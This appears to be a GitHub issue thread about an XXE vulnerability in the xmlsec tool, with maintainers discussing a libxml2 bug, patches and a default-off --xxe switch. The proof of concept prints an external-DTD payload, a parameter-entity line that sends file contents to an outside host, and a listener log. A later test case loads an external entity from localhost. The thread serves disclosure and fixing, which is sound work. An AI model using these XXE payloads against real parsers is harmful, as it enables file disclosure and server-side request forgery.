xmlsec vulnerable to XXE

[mrbrutti]

Description

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Whenever xmlsec verifies, encrypt, decrypt an XML document the parse by default reads external entities resulting on an XXE Vulnerability.

Proof of Concept

$ cat input.xml 
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.3.1/evil.dtd"> %remote;]>

Running a fake command to test:

matt at バトー in /tmp
$ xmlsec1 --verify --output /tmp/output.xml /tmp/input.xml 
http://23.252.63.90/evil.dtd:1: parser warning : not validating will not read content for PE entity data
passwd"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.3.2/?%data;'>"
                                                                               ^
/tmp/input.xml:2: parser error : Start tag expected, '<' not found

^
Error: failed to parse xml file "/tmp/input.xml"
Error: failed to load document "/tmp/input.xml"
ERROR
SignedInfo References (ok/all): 0/0
Manifests References (ok/all): 0/0
Error: failed to verify file "/tmp/input.xml"

Listener:

❯❯❯ ruby server_only.rb 
Puma 2.14.0 starting...
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://192.168.3.1:80
== Sinatra (v1.4.6) has taken the stage on 80 for development with backup from Puma
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd

Note: The same results were found as a result of trying to encrypt or decyrpt content.

Recommendations

It is my recommendation that the xmlsec library by default denies External Entities and local file inclusion and/or provides a command line option that can be used to block them.

For more information refer to:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

[lsh123]

Actually this is LibXML2 problem: https://bugzilla.gnome.org/show_bug.cgi?id=772726

I've added a patch there and xmlsec will work just fine if this patch is applied.

[mrbrutti]

Thanks. I will follow up on the bug there. It seams it will be a good chance to have this applied by default and not being optionals.

[d-hat]

Given there's no activity on the libxml ticket, is it time to consider applying the patch proposed there to xmlsec as a workaround?

Eyeballing the patch, it looks applicable as an external (only using libxml2's public API). It could be refined further to allow DTD/external references to a restricted path.

[mrbrutti]

I think it might be a good idea. Libxml bug is still not fixed and there is no indication it will be fixed any time soon.

[lsh123]

Unfortunately I don't see any xmlsec only patches. Could you please point to the comment that you think has it?

[d-hat]

The patch described in comments 14 and 14 (updated in c17) should be fairly easily modified for xmlsec. I can hopefully find some in the next week to try this out on a branch.

[lsh123]

This is an approach that works if the patch from comment 15 is applied. These changes from comment 14 w/o corresponding libxml2 changes are not going to make any difference. This is what this bug is about: even if all the proper flags are set, libxml2 is still loading external entities.

[d-hat]

Here is an attempt to apply the patch from libxml2 as a workaround in xmlsec. It lacks tests, but it doesn't seem to trigger any new failures in the existing test suite.

0001-attempt-XXE-prevention-using-custom-external-entity-.patch.txt

[d-hat]

Per curiosity, does xmlsec really need ctxt->replaceEntities = 1? Removing these doesn't cause any test failures. Commentary suggests it's a requirement for canonicalization, but I'm not sufficiently versed in the standards to understand concretely why that is the case.

"Standard" entities (&amp &lt etc) are handled by libxml2 with no special directives; replaceEntities (aka XML_PARSE_NOENT) enables internal and external entity expansion. The conservative in me says XML security should avoid this function if at all possible, simply to reduce the potential attack surface .. which would make the above patch redundant.

No idea if this is realistic though!

[lsh123]

This patch probably works. This means that apps using xmlsec library can handle this using the same approach. Thus, it is only a problem with xmlsec command line tool. Could you please send a pull request with this patch? I will extend it to control this behavior through command line parameter.

Re entity substitution -- this is required by C14N used in XMLDsig (https://www.w3.org/TR/2001/REC-xml-c14n-20010315#XMLCanonicalization).

[d-hat]

#93 created

[d-hat]

I'd suggest making "noxxe" the default behaviour, requiring an switch to enable processing external entities. It would be nice if library clients could get the same protection easily, but the main ones I care about for now are using the xmlsec1 binary.

Any chance yet to review? I'm happy to do some more work to add tests and expose a switch to turn this change on/off, if you can provide some guidance .. particularly on structuring new tests :)

[mrbrutti]

@d-hat I second your proposal. I think we should make this safe by default but allow others to accept and process EE when needed.

It is the behavior others are taking regarding this problem. Others libraries downstream that depend on xmlsec and libxml , such as pySAML, are currently implementing their own fixes/filters due to the lack of traction on both libXML and here and directly blocked all external entities. IdentityPython/pysaml2#366

[lsh123]

Sorry, got busy at day job :) If you have time, then the only thing needed is a command line parameter to control it. I am fine with making it default "off".

[d-hat]

okay, I think the MR branch is now suitable. A couple of comments:

• this exercise made me realise the setup could go in xmlSecInit(), much better than being repeated four times
• since libxml doesn't export xmlDefaultExternalEntityLoader, the best way I could see to expose a "restore to previous behaviour" function was through a wrapper xmlSecSetExternalEntityLoader(), which takes NULL (invalid for xmlSetExternalEntityLoader) to revert to default libxml2 behaviour.

The parameter is --xxe, to enable external entity resolution. Software embedding the library should call xmlSecSetExternalEntityLoader(NULL) to enable XXE, as described above.

Does this look reasonable to you? Anything further needed .. docs?

On the way through, I noticed a couple of things perhaps worth noting for later attention:

io.c/io.h facilities to provide IO callbacks look like another way to achieve similar, but they only seem to take effect when performing transforms - parser.c never hits them.

The options --disable-error-msgs and --print-crypto-error-msgs don't seem to have any effect - at least, egrep disableErrorMsgsParam\|printCryptoErrorMsgsParam shows nothing consulting them. There may be other unused params.

[lsh123]

Fixed in PR #93

[lsh123]

The patch doesn't work. The input_id check is not reliable (https://bugzilla.gnome.org/show_bug.cgi?id=772726#c29) and there is a simple test case:

$ cat /tmp/a.xml

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://localhost:8000">]>
<foo>&xxe;</foo>

$ xmlsec1 verify /tmp/a.xml
...
I/O warning : failed to load external entity "http://localhost:8000"
...

[lsh123]

Daniel has a patch that should address the issue. Please try the current Libxml2 master and confirm that it is resolved.